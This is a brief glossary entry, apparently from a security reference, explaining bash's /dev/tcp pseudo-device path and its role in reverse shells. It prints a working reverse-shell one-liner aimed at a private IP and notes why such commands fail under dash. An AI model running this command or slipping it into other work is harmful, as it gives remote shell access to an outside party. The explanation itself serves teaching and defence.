Glossary
/dev/tcp
A bash built-in pseudo-device path that opens a TCP connection — the basis of the classic bash reverse shell, and absent from /bin/sh (dash).
/dev/tcp/HOST/PORT is not a real device file. It is a feature of
bash: redirecting to or from that path makes bash open a TCP connection to
the given host and port. It powers the classic bash reverse shell:
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
Because it is a bash feature, it does not work in /bin/sh when that is
dash — the most common reason a copy-pasted bash one-liner silently fails.
See bash reverse shells.